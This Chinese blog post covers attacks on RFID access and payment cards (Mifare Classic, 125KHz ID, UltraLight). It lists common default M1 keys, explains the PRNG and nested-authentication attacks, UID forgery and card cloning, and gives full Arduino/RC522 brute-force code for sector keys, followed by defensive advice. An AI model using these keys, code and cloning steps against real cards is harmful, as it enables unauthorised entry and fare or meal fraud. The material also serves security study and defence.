Hack Mifare Classic 1K/M1、低频卡、Mifare PLUS、Mifare DESFire、UltraLight Based On RC522

catalogue

0. 引言
1. Mifare Classic/M1/IC卡/智能卡
2. 低频卡(125KHz)
3. UID(身份识别卡)卡(TK4100)
4. UltraLight卡
5. 相关工具/设备/模组
6. 消费终端设备安全
7. 我的实验过程
8. 防御

 

0. 引言

卡的分类种类繁多,同一张卡可以归属于多个类别中,一张卡具备哪种属性取决于卡内的芯片和EPPROM存储,因为制作工艺的不同,有的卡可以做成钥匙扣,有的可以做成卡片

0x1: 钥匙扣

1. ID卡
    1) ISO 14443/ISO 10536
    2) 125KHz
    3) 载波频率为125KHz(THR12)
    4) 卡向读卡器传送数据的调制方式为加载调幅
    5) 卡内数据编码采用抗干扰能力强的BPSK相移键控方式,卡向读卡器数据传送频率为3.9kbps(THRC12)
    6) 卡号的唯一性和安全性

2. IC卡
    1) ISO 14443/ISO 10536
    2) 125KHz
    3) FM1108芯片

0x2: 非接触式ID卡

1. ID白卡
2. 采用层压/自动黏贴/超声波封装 封装工艺
3. 表面18位ID卡号
4. 125KHz
5. 卡向读卡器传送数据的调制方式为加载调幅
6. 卡内数据编码采用抗干扰能力强的BPSK相移键控方式,卡向读卡器数据传送频率为3.9kbps(THRC12)
7. 卡号的唯一性和安全性

除了薄卡,还有另一种EMID厚卡

0x3: 接触式ID卡

0x4: 非接触式IC卡

1. 复旦M1(IC)白卡
2. 13.56MHZ
3. 采用层压/自动粘贴/超声波封装 封装工艺
4. 原装复旦FM1108芯片
5. PVC/PET/0.13铜线

滴胶卡

0x5: 接触式IC卡

T4443卡

所谓接触式IC卡,是指IC卡读写数据的方式由IC卡的触电与IC卡读写设备的触电进行解除读写数据的一种IC卡。卡内封装的集成电路芯片,可以记录并刷新所存储内容,在使用时,通过有形的电极触电将卡的集成电路与外部接口设备直接接触链接,进行数据交换
IC卡又称为智能卡
IC卡需要做初始化工作(即加密)(不管是否接触)

在实际使用中,IC卡常常被作为可编辑的ID卡使用
T577卡是T5557卡、T5567卡的升级版,具有防磁、防静电、抗破坏性和耐用性强,防伪性好,存储数据安全等特点,按照ISO7816标准执行

Relevant Link:

https://mtxxbg.tmall.com/?spm=a220o.1000855.1997427133.d4918061.l7wwYP
http://www.freebuf.com/articles/wireless/8858.html
http://www.freebuf.com/news/topnews/80786.html

 

1. Mifare Classic/M1/IC卡/智能卡

很多时候我们谈到Hack Mifare Classic/M1,实际上是在谈如何通过读写篡改卡中的数据,如何逆向卡内EEPROM数据的加密算法,这里需要明白的是,可以向卡内写入数据并不意味着就已经 Hack掉了这张卡,通过M1的密码验证向卡内写入数据只是第一步(进了大门),真正的工作在于如何解读读到的不同扇区、不同块的数据,这相当于不同的 M1对应的业务场景(例如饭卡、水卡、公交卡),所以说Hack一张M1 RFID卡,实际上是在Hack它对应的数据存储加密算法(不同bit位对应不同的业务场景)

0x0: 什么是IC卡

IC卡又称为智能卡,有加密功能,数据记录可靠,使用方便如一卡通系统、消费系统
IC卡在使用时,必须要先通过IC卡与读写设备间"预定义"的双向密钥认证后,才能进行相关工作,所以,就必须对出场的IC进行初始化加密,目的是在出厂后的IC卡内生成不可破解的一卡通系统密钥,以保证一卡通系统的安全发放机制(例如城市公交系统统一定制一批刷卡读卡器和公交卡,它们之间就会使用一对之前未使用过的新的双向密钥,以防止外人破解)

0x1: 前提条件

要hack一张M1卡类型的RFID卡,需要以下几个方面

1. 知道目标RFID卡、目标扇区的密码
    1) 暴力破解
    2) 大多数卡使用默认密码
2. 目标RFID卡、包括整体认证计费系统采取离线或准离线方式,我们通过修改卡内数据能直接生效。否则如果目标RFID卡内只保存一个ID号(UID卡),所有的认证和计费都在SERVER端完成(类似于WEB中的SESSOIN认证机制一样),这种卡往往带有公私钥非对称加密机制,单纯修改ID号是无法生效的
3. 我们需要修改的目标扇区的读写控制位为可写
4. UID卡的卡号一般写在0扇区、0块中

0x2: 爆破卡密码

在 CRYPTO1 算法的细节没有被泄露之前,最有效的方法就是暴破了。还有一个很重要的原因就是,M1 卡是被动卡,需要读卡器为它提供能量,一旦读卡器切断了电源,卡中的临时数据就会丢失,这样就没有办法记录下攻击者究竟输错了多少次密码,卡永远不会因为密码输入错误太多而被锁定,只要攻击者有时间慢慢尝试,密码肯定会出来的
这里列举一些常见的 M1 卡密钥

FFFFFFFFFFFF
A0A1A2A3A4A5
D3F7D3F7D3F7
000000000000
A0B0C0D0E0F0
A1B1C1D1E1F1
B0B1B2B3B4B5
4D3A99C351DD
1A982C7E459A
AABBCCDDEEFF
B5FF67CBA951
714C5C886E97
587EE5F9350F
A0478CC39091
533CB6C723F6
24020000DBFD
000012ED12ED
8FD0A4F256E9
EE9BD361B01B

0x3: 重放攻击(PRNG漏洞):DarkSide攻击(密钥流窃听)

重放攻击是基于 M1 卡的 PRNG 算法漏洞实现的,当卡接近读卡器获得能量的时候,就会开始生成随机数序列,但这有一个问题,因为卡是被动式卡,本身自己不带电源,所以断电后数据没办法保存,这时基于 LSRF 的 PRNG 算法缺陷就出来了,每次断电后再重新接入电,卡就会生成一摸一样的随机数序列,所以我们就有可能把这个序列计算出来,所以只要我们控制好时间,就能够知道在获得能量后的某一刻时间的随机数是多少,然后进行重放攻击,就有可能篡改正常的数据。如果卡的所有权在我们手上的时候,我们甚至不需要浪费太多的时间就可以实现

http://www.freebuf.com/articles/wireless/109151.html
利用RFID阅读器可以嗅探到全部扇区都加密的 M1 卡,在卡和已经授权的读卡器交换数据的时候进行窃听,就能把 tag 数据读取出来(得到密文和明文,猜解密钥),利用 XOR 算 Key 工具就可以把扇区的密钥计算出来,这也是 PRNG 算法的漏洞所导致的

这种攻击方式类似于WPA WIFI密码破解,需要基于嗅探抓到握手包,然后通过算法本身可逆的特性得到密钥KEY

1. 以读卡器的挑战值做变量
这里说的读卡器实际上指的是用来模拟读卡器的攻击工具,下个攻击亦如此。这种攻击又可称选择密文攻击,想法用工具控制被攻击的卡每次在认证时产生同一挑战值,而读卡端则回应不同值。这种攻击需要大约28500次的认证过程,用时约15分钟,然后计算密钥,用时约一分钟

2. 卡的挑战值做变量
这种攻击与攻击1类似,但需要使自己的工具的挑战值为常数,而令卡的挑战值数不断变化。需要预制一个384 GB的状态表。要进行4096次认证。大约用时2分钟 

0x4: 克隆卡片

这是一个很简单也很实用的方法,因为M1卡自带扇区可以保存数据,所以大部分的卡片会选择加密扇区后将数据保存在里面,所以我们完全可以克隆一张带有一样数据的克隆卡。这就会用到一种叫 UID 卡的特殊 M1 模拟卡,前面说到每张 M1 卡在 0 扇区第 1 段都会有一个全球唯一的 UID 编号,而且这个块在出厂之后是被厂商设定保护无法修改的,UID 卡就是没有设定 0 扇区保护的卡,所以你可以随意的修改你想要的 UID,这样我们就可以克隆出一张连 UID 都相同的卡片了

跟ID卡一样,复制IC卡的UID号码写入到新的空白IC卡中
//将IC卡当作可编辑的ID卡使用

0x5: 验证漏洞(嵌套认证攻击)

验证漏洞是目前使用最多的M1破解手段,在读卡器尝试去读取一个扇区时,卡会首先发一个随机数给读卡器,读卡器接到随机数之后利用自身的算法加密这个随机数再反馈回给卡,卡再用自己的算法计算一次,发现结果一致的话就认为读卡器是授权了的,然后就用开始自己的算法加密会话并跟读卡器进行传送数据。这时候问题就来了,当我们再次尝试去访问另一个扇区,卡片又会重复刚才那几个步骤,但此时卡跟读卡器之间的数据交换已经是被算法加密了的,而这个算法又是由扇区的密钥决定的,所以密钥就被泄露出来了。因此验证漏洞要求我们至少知道一个扇区的密钥,但目前大部分的扇区都没有全部加密,所以很容易就会被破解

0x6: 数据区段加密算法破解

这是在已知或破解出目标扇区的KeyA/KeyB密钥,且控制位至少包含可读/可写的前提下,读取出指定块区的dump文件后,通过多次"刷卡消费"得到多份不同的dump文件,通过后续的对比和分析逆向出卡本身业务算法逻辑的一种攻击方式

Relevant Link:

http://www.52pojie.cn/thread-363760-1-1.html
http://tieba.baidu.com/p/3037948238
https://bobylive.com/static/1491
https://s1.boby.im/other/The-MIFARE-Hack.pdf
https://s1.boby.im/other/Dismantling-MIFARE-Classic.pdf
http://www.freebuf.com/articles/terminal/5682.html
http://www.freebuf.com/articles/wireless/109151.html
http://bbs.pediy.com/showthread.php?t=144717
http://www.evil0x.com/posts/5619.html
http://blog.csdn.net/douniwan5788/article/details/7491455
http://www.2cto.com/Article/201406/305845.html
http://www.freebuf.com/news/topnews/54481.html
http://www.vccoo.com/v/40f33e
http://www.fwqtg.net/rfid%E4%B9%8Bm1%E5%8D%A1%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90.html

 

2. 低频卡(125KHz)

根据频率的高低和距离的不同有高低远近之分,高频卡的感应距离较远,像停车厂里面用超高频卡的,车子还没到门就能感应自动打开了。而低频卡如门禁卡、公交卡等感应距离短,需要靠近1cm之内才能感应

低频卡常见于ID卡,因为其使用场景多为近距离接触,且仅仅需要一个"识别代号(如物流跟踪)"

0x1: 什么是低频

低频(LF, Low frequency)是指频带由30KHz到300KHz的无线电电波。一些无线电频率识别(RFID技术 )标签使用低频。 这些标签通常被称为 LFID's或LowFID's(低频率识别Low Frequency Identification)
然而LFID’s/LowFID’s所常用(非唯一)的频率为125kHz/134kHz,125kHz/134kHz只是低频RFID所基于的频率,该频率不存在任何功能性,就是频率本身不存在所谓的ID识别、读取写入等,而常用的低频卡有HID、T55xx、EM4x等系列,这些系列的低频卡都是大家在生活当中常常会使用到会碰到的,但是要注意的是。并不是说就因为常常适用于这些领域和区域,就代表着低频卡就是ID卡,这是没有根据性的,低频卡和ID卡是两个有相交区域的不同集合

0x2: 逆向分析EM410x卡

http://www.freebuf.com/articles/wireless/9921.html

Relevant Link:

http://www.freebuf.com/articles/wireless/9451.html
http://www.freebuf.com/articles/wireless/9921.html

 

3. UID(身份识别卡)卡(TK4100)

0x0: 什么是ID卡

ID卡全称身份识别卡,是一种不可写入的感应卡,含固定的编号
ID卡不需要初始化(即不需要双向认证密钥),ID卡与磁卡一样,都仅仅使用了"卡的号码"而已,卡内除了卡号外,无任何保密功能,其"卡号"是公开的、裸露的。所以说ID卡本质上就是"感应式磁卡",也就根本谈不上需要还是不需要初始化的问题

所谓ID卡,更多地指的是卡的用途而非卡本身的结构,RFID卡在0扇区、0块保存了卡序列号、校验码、厂商信息,Mifare Classic 提供 1 Kb - 4Kb 的容量,现在国内采用的多数是 Mifare Classic 1k(S50)[后面简称 M1 卡]
M1 卡有从 0 到 15 共 16 个扇区,每个扇区配备了从 0 到 3 共 4 个段,每个段可以保存 16 字节的内容。每个扇区的第 4 个段(也就是 3 段)是用来保存 KeyA,KeyB 和控制位的,因为 M1 卡允许每个扇区有一对独立的密码保护,这样能够更加灵活的控制数据的操作,控制位就是这个扇区各种详细权限计算出来的结果
每张 M1 卡都有一个全球唯一的 UID 号,这个 UID 号保存在卡的第一个扇区(0 扇区)的第一段(0 段),也称为厂商段,其中前 4 个字节是卡的 UID,第 5 个字节是卡 UID 的校验位,剩下的是厂商数据。并且这个段在出厂之前就会被设置了写入保护,只能读取不能修改,当然也有例外,有种叫 UID 卡的特殊卡,UID 是没有设置保护的,其实就是厂家不按规范生产的卡,M1 卡出厂是要求要锁死 UID 的
从安全攻防的角度来看,一个正常合规的卡(正规的公交卡)是不能随意修改UID的,但是我们可以用非正规的S50/S70白卡(即UID未设置写保护)进行卡克隆、卡伪造

0x1: 卡复制

1. 大部分卡的0扇区未进行加密,或者使用了默认密钥,所以auth认证这关往往难度不大。这一步可能需要使用基于字典的keyA/keyB猜解攻击
2. 读出所有扇区/块区binary数据,保存为dump.bin文件
3. 将读出数据逐扇区/逐块写入一张白卡中(S50、S70),即完成一张卡的复制

0x2: 卡伪造

其他时候,我们不仅需要100%复制一张卡,还希望能够自定义任意UID卡号的卡

1. 输入4bytes序列号
2. 将4bytes序列号逐一xor计算得到结果即为校验码
3. 将5bytes数据写入白卡的0扇区、0块

0x3: 防止可修改UID的M1卡(复制卡)的方法

1. 判断Select命令的返回SAK,M1卡的返回值应该是08。如果第一个字节为28,则有可能是CPU卡模拟的M1卡
2. 在选卡后修改第0块会先发送两个特殊指令,要防卡该类卡就是看这两个指令有没有返回值
//这种检测思想有点类似恶意软件检测中Sandbox的主动行为探测

3. M1卡的KeyA、KeyB早已经被破解了,所以卡内的重要数据必须要和UID一起加密才能保证一定的安全性

正因为出现了这种可复制的M1卡,对于已经采用M1卡的系统都是不安全的。该方法对已有的M1卡系统进行升级,可以在一定范围内防止这种复制卡

0x4: ID卡的攻击面

ID卡属于大家常说的低频卡,一般大部分情况下作为门禁卡或者大部分大学里使用的饭卡,一般为厚一些的卡,是只读的,卡里面只保存有一串唯一的数字序号ID,可以把这串数字理解为你的身份证号,刷卡的时候,读卡器只能读到ID号,然后通过跟后台数据库进行匹配,如果是门禁卡,那么数据库里面就是存在这样的ID号,如果匹配上门就开了,匹配不上门就开不了
如果是学校的饭卡,刷卡的时候,实际上操作的是你对应ID号相关的数据库中的数据。ID卡本身不存在任何其他数据,所以,学校使用的ID卡饭卡,只能复制卡,刷别人的钱(数据库中的钱),再没有其他办法

Relevant Link:

http://www.hackdig.com/?10/hack-15044.htm
http://anfang.huangye88.com/xinxi/36966320.html
http://www.xuebuyuan.com/217696.html
http://www.freebuf.com/articles/wireless/50123.html
http://www.freebuf.com/geek/11944.html

 

4. UltraLight卡

0x1: 重放/重置攻击

MIFARE ultralight是不存在加密的,所以是不需要认证的,攻击者只需要针对数据进行识别,从而找到相关的数据进行修改就可以达到不断使用的效果

Relevant Link:

http://www.freebuf.com/articles/terminal/5801.html

 

5. 相关工具/设备/模组

0x1: MFRC522

0x2: FM1702SL

0x3: ACR122

0x4: proxmark3

0x5: Mifare Classic Tool (MCT)

Mifare Classic Tool (MCT) – 一款用来读取/编辑/分析Mifare Classic卡片的集成化软件

0x6: M1卡服务程序

0x7: fixdump

但mfoc原本是运行在Linux环境下的,移植到Windows下的mfocgui生成的dump文件是并不能直接使用的,还需要一个修复工具fixdump,将1kb的dump文件修复成4kb的dump文件才行

Relevant Link:

http://www.freebuf.com/sectool/7531.html
http://www.myhack58.com/Article/html/3/92/2014/46143.htm
http://www.codesec.net/view/56806.html
http://www.770921.com/thread-297409-1-1.html

 

6. 消费终端设备安全

消费终端设备之所以可以被利用来进行非法充值操作,主要是因为设备当中存在着一个事关重要的模块 - SAM(Secure Access Module/Secure Application Module 安全)块)。SAM是一种能够提供必要的安全机制以防止外界对终端所储存或处理的安全数据进行非法攻击的硬件加密模块,并且SAM是一种统称,通常SAM包括了

1. PSAM(Purchase Secure Access Module)消费终端安全控制模块
2. ESAM(Embedded Secure Access Module)嵌入式安全控制模块 
3. ISAM(Increase Secure Access Module)充值权限认证控制模块 
4. USAM(Universal Secure Access Module)通用安全控制模块

在黑产界倾向通过"设备被偷实现盗刷目的",从而进行非法充值操作。之所以这么做的原因就是因为设备当中有SAM,所以攻击者无需破解FeliCa/M1就可以直接修改卡内当中的电子钱包数据。在国内RFID黑色产业当中,基于消费终端设备内的SAM攻击的手法也屡见不鲜

Relevant Link:

http://www.freebuf.com/articles/terminal/5473.html

 

7. 我的实验过程

0x1: 破解M1卡(钥匙扣)密码KeyA/KeyB

rc522在和M1卡进行auth认证时,如果当前传入的密钥不对,则M1的整个三向握手会失败,M1和清空当前会话(此前的选卡、锁卡全部无效),所以对于M1卡的爆破需要不断重复整个选卡->锁卡->认证过程。可以使用EEPROM来存储密钥破解过程的中间值

#include <SPI.h>
#include <RFID.h>
#include <EEPROM.h>

//4字节卡序列号,第5字节为校验字节
uchar serNum[5];
uchar  writeDate[16] ={'T', 'e', 'n', 'g', ' ', 'B', 'o', 0, 0, 0, 0, 0, 0, 0, 0,0};

//扇区A密码,16个扇区,每个扇区密码6Byte
uchar sectorKeyA[16][16] = {
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //1
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //2
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //3
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //4
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //5
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //6
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //7
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //8
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //9
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //10
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //11
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //12
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //13
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //14
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //15
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}   //16
};
uchar sectorNewKeyA[16][16] = {
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},   //1
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},   //2
  {0xff, 0x07, 0x80, 0x69, 0xFF, 0xFF},   //3
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},   //4
  {0xFF, 0xFF, 0xFF, 0xFF, 0xff, 0x07},   //5
  {0x80 ,0x69, 0xFF, 0xFF, 0xFF, 0xFF},   //6
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},   //7
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //8
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //9
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //10
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //11
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //12
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //13
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //14
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //15
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}   //16
};
                               
//D10 - 读卡器CS引脚、D5 - 读卡器RST引脚
RFID rfid(10,5);   
uchar status;
uchar str[MAX_LEN];  //MAX_LEN为16,数组最大长度



/*
void crackSector_(int sectorNum){
  unsigned char status; 
  uchar sectorKeys[6] = {255, 255, 255, 255, 255, 254};   
  
  status = rfid.auth(PICC_AUTHENT1A, sectorNum * 4, sectorKeys, serNum);        //认证
  if (status == MI_OK) { 
    Serial.println("crack success!");   
    havaCracked = 1;
    return;
  } 
}
*/

void initSectorKeyEEPROM(){
  EEPROM.write(1, 255); //keyIndex_1
  EEPROM.write(2, 255); //keyIndex_2
  EEPROM.write(3, 255); //keyIndex_3
  EEPROM.write(4, 255); //keyIndex_4
  EEPROM.write(5, 255); //keyIndex_5
  EEPROM.write(6, 240); //keyIndex_6
}

uchar sectorKeys[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

int addSector(){
  int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
  int havaCracked ;
  
  keyIndex_1 = EEPROM.read(1);  
  keyIndex_2 = EEPROM.read(2);   
  keyIndex_3 = EEPROM.read(3);  
  keyIndex_4 = EEPROM.read(4);   
  keyIndex_5 = EEPROM.read(5);   
  keyIndex_6 = EEPROM.read(6);  
  
  if(keyIndex_1 >= 255){
    if(keyIndex_2 >= 255){
      if(keyIndex_3 >= 255){
        if(keyIndex_4 >= 255){
          if(keyIndex_5 >= 255){
            if(keyIndex_6 >= 255){
              Serial.println("crack error!, key reach the limit"); 
              havaCracked = 1; EEPROM.write(0, havaCracked);
            }else{
              keyIndex_6++;
            }
          }else{
            keyIndex_5++;
          }
        }else{
          keyIndex_4++;
        }
      }else{
        keyIndex_3++;
      } 
    }else{
      keyIndex_2++;
    }  
  }else{
    keyIndex_1++;
  }

  EEPROM.write(1, keyIndex_1); //keyIndex_1
  EEPROM.write(2, keyIndex_2); //keyIndex_2
  EEPROM.write(3, keyIndex_3); //keyIndex_3
  EEPROM.write(4, keyIndex_4); //keyIndex_4
  EEPROM.write(5, keyIndex_5); //keyIndex_5
  EEPROM.write(6, keyIndex_6); //keyIndex_6
}

void printSector(){
  int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
  
  keyIndex_1 = EEPROM.read(1); Serial.print(keyIndex_1); Serial.print('\t'); 
  keyIndex_2 = EEPROM.read(2); Serial.print(keyIndex_2); Serial.print('\t'); 
  keyIndex_3 = EEPROM.read(3); Serial.print(keyIndex_3); Serial.print('\t');  
  keyIndex_4 = EEPROM.read(4); Serial.print(keyIndex_4); Serial.print('\t');  
  keyIndex_5 = EEPROM.read(5); Serial.print(keyIndex_5); Serial.print('\t');  
  keyIndex_6 = EEPROM.read(6); Serial.print(keyIndex_6); Serial.print('\t');  
 
  Serial.println(" "); 
}

//破解卡指定扇区密码 
void crackSector(int sectorNum){
  unsigned char status;  
  int havaCracked;  
  int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
  
  //printSector(); 

  keyIndex_1 = EEPROM.read(1);  
  keyIndex_2 = EEPROM.read(2);   
  keyIndex_3 = EEPROM.read(3);  
  keyIndex_4 = EEPROM.read(4);   
  keyIndex_5 = EEPROM.read(5);   
  keyIndex_6 = EEPROM.read(6);  
  uchar sectorKeys[6] = {(uchar)keyIndex_1, (uchar)keyIndex_2, (uchar)keyIndex_3, (uchar)keyIndex_4, (uchar)keyIndex_5, (uchar)keyIndex_6};
  status = rfid.auth(PICC_AUTHENT1A, sectorNum * 4, sectorKeys, serNum);        //认证
  if (status == MI_OK) { 
    Serial.println("crack success!");  
    Serial.print("sector ");  Serial.print(sectorNum); Serial.print(" key:  "); 
    printSector();
    havaCracked = 1; EEPROM.write(0, havaCracked);
    //return;
  }else{
    addSector(); 
  } 
}


//读卡
void readSector(int blockNum, unsigned char *recvData){ 
  unsigned char status;
  //选择操作的块地址0~63
  uchar blockAddr;     
  blockAddr = blockNum;   
                             
  status = rfid.auth(PICC_AUTHENT1A, blockAddr, sectorNewKeyA[blockAddr/4], serNum);        //认证
  if (status == MI_OK) { 
    status = rfid.read(blockAddr, recvData);
    if (status == MI_OK) {
      //Serial.println("Read from the card ,the data is : ");
      for (int i=0; i<MAX_LEN; i++) {
        Serial.print(recvData[i]);
        Serial.print('\t');
      }
      Serial.println(" ");
    }
  }
  else{
    Serial.println("Auth error");
  }
  //Serial.println(" ");
}
 

void setup()
{
  int havaCracked = 0;
  int crackSectorIndex = 0;
  Serial.begin(9600);
  SPI.begin(); 
  rfid.init(); //初始化
  Serial.print("init ");

  EEPROM.write(0, havaCracked); //havaCracked
  EEPROM.write(10, crackSectorIndex); //havaCracked

  initSectorKeyEEPROM();
}


void loop()
{
   int havaCracked = 0;
   int crackSectorIndex = 0;
   uchar RC_size; 
   
  //Search card, return card types
  if (rfid.findCard(PICC_REQIDL, serNum) == MI_OK) {
    //Serial.println("Find the card!");
    // Show card type
    //ShowCardType(serNum);
    
    //防冲突检测,读取卡序列号
    if (rfid.anticoll(serNum) == MI_OK) {
      //Serial.print("The card's number is  : ");
      
      //显示卡序列号
      for(int i = 0; i < 4; i++){
        //Serial.print(0x0F & (serNum[i] >> 4),HEX);
        //Serial.print(0x0F & serNum[i],HEX);
      }
      //Serial.println("");
    }
    
    //选卡(锁定卡片,防止多数读取,去掉本行将连续读卡),并返回卡容量
    RC_size = rfid.selectTag(serNum);
    if (RC_size != 0) {
      //Serial.print("Lock Card ok!  Size: ");
      //Serial.println(RC_size);
    }

    havaCracked = EEPROM.read(0);
    //Serial.print("havaCracked: ");  Serial.println(havaCracked);
    //Serial.print("EEPROM.read(10): ");  Serial.println(EEPROM.read(10));
    if(havaCracked == 1 && EEPROM.read(10) <= 15){
        crackSectorIndex = EEPROM.read(10);
        crackSectorIndex++;
        EEPROM.write(10, crackSectorIndex);
 
        EEPROM.write(0, 0);

        initSectorKeyEEPROM();
    } 
    else if(havaCracked == 0){
      //Serial.println("starting crack the card: ..."); 
      crackSectorIndex = EEPROM.read(10);
      crackSector(crackSectorIndex);
    }   
    
    //      
  }else{
    memset(serNum,0,sizeof(uchar) * 5); 
  }
  //rfid.halt();  //命令卡片进入休眠状态
  //清空状态
  memset(serNum,0,sizeof(uchar) * 5);
  memset(str,0,sizeof(uchar) * MAX_LEN);
  status = '\x00';
}
 
void ShowCardType(unsigned char * type)
{
  Serial.print("Card type: ");
  if(type[0]==0x04&&type[1]==0x00) 
    Serial.println("MFOne-S50");
  else if(type[0]==0x02&&type[1]==0x00)
    Serial.println("MFOne-S70");
  else if(type[0]==0x44&&type[1]==0x00)
    Serial.println("MF-UltraLight");
  else if(type[0]==0x08&&type[1]==0x00)
    Serial.println("MF-Pro");
  else if(type[0]==0x44&&type[1]==0x03)
    Serial.println("MF Desire");
  else
    Serial.println("Unknown");
}

可以按照此方法破解出所有扇区的密码,值得注意的是,keyA、keyB的破解时间成本都是(2 ^ 8) ^ 6次,即最多要进行这么多次的"寻卡-选卡-auth认证"才能得到一个扇区的密码,而得到所有扇区还要再乘16

0x2: 读取并保存整张卡的binary dump

dump整个卡的binary其实就是遍历所有区块read出数据,这里要注意的是read前需要通过auth认证,M1和auth成功和失败都是一样的,一旦成功/失败,之前的寻卡-选卡-锁卡的状态全都要清零重来,所以我们依然需要通过EEPROM来保存我们当前read的区块index

0x3: 向指定扇区写入数据

受到写保护控制位的限制,我们无法修改整个M1卡,但是可以找一张不带写保护的白卡直接将dump数据写入,直接通过篡改目标M1卡特定区段的数据达到"免费洗澡"、"免费吃饭"等目的已经逐渐没有探索空间了,现在大多数RFID卡及其业务场景都是采用ID卡或者准ID卡(可编辑的ID卡)模式,卡本身只保存一个ID号,所有的扣费、充值逻辑都在Server端完成

小区门卡原始数据

将这份数据写入到一张0区块可檫写的白卡中

卡的0区块成功被修改为了小区门卡

0x4: 嗅探读卡器和M1的auth过程中的射频信号

http://www.openpcd.org/Rfiddump.0.html

0x5: 复制小区门卡

由于小区门卡从sector 3开始就不是采用默认密钥FF,故无法完整dump出整张原始卡

Relevant Link:

http://bbs.pediy.com/showthread.php?t=151259

 

8. 防御

0x1: 密钥B攻击的应用层防御

1. 应用时改变密钥的初始值
密钥的初始值指卡片出厂时被赋予的设置,一般都是"FFFFFFFFFFFF",在一个新系统(例如公交系统)应用期。密钥A和B都应该重新设置。特别是当系统指定使用密钥A的时候,不要忘记要把B也换掉。否则它就是一个后门
这种防御手段对"算法逆向后篡改""dump复制全卡"这2种攻击都能起到一定作用,毕竟逐个扇区密码爆破相当消耗时间

2. 后台建账,定期核对
为每张卡建立账户,记录每次(天)充值、消费和余额信息。并尽量每天对账,找出可疑账户记录
这种防御手段对IC卡复制攻击有一定的作用,但是对ID卡复制攻击仍然无法防御
 
3. 应用层数据保护
终端对存储在数据块中的应用数据(电子钱包余额等)使用较强的算法进行加密后再写入,或对关键数据进行mac计算后将MAC码与数据一并保存在数据块,读入时进行验证(但此方法只能解决随意改写的攻击)

0x2: 密钥B攻击的密码层防御

限制密钥B在可读条件下的使用权限,取消此时的认证功能

0x3: 密钥B攻击的芯片层防御

在芯片层工程实现密码层的防御措施

0x4: 密钥管理

有很多规模不大的M1卡应用系统从来没有密钥管理的概念,发出的卡不仅所有扇区的密钥相同,而且所有卡的密钥都一样。一旦一张卡被破解,系统内所有的卡都等于被破解。简单的解决办法是先产生一个主密钥然后对每张卡使用强度足够的分散算法分散出每张卡的密钥,还可以继续分散出每个扇区的字密钥
这方法虽然不能阻止对每张卡的分别破解,却给大规模破解增加了难度

 

Copyright (c) 2015 LittleHann All rights reserved

 

posted @ 2016-08-14 20:11  郑瀚Andrew  阅读(4476)  评论(0编辑  收藏  举报